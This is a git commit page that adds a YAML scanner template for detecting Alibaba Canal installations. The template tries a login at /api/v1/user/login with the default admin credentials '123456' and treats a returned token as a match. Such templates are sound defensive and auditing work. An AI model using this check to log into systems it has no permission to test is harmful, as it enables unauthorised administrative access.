Merge pull request #1016 from pikpikcu/patch-107

Create alibaba-canal-dlogin
patch-1
PD-Team 2021-03-04 19:42:42 +05:30 committed by GitHub
commit d757f2e647
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 27 additions and 0 deletions

View File

@ -0,0 +1,27 @@
id: alibaba-canal-default-password
info:
name: Alibaba Canal Default Password
author: pdteam
severity: high
tags: alibaba,dlogin
requests:
- method: POST
path:
- "{{BaseURL}}/api/v1/user/login"
headers:
Content-Type: application/json
body: |
{"username":"admin","password":"123456"}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'data":{"token"'
- '"code":20000'
condition: and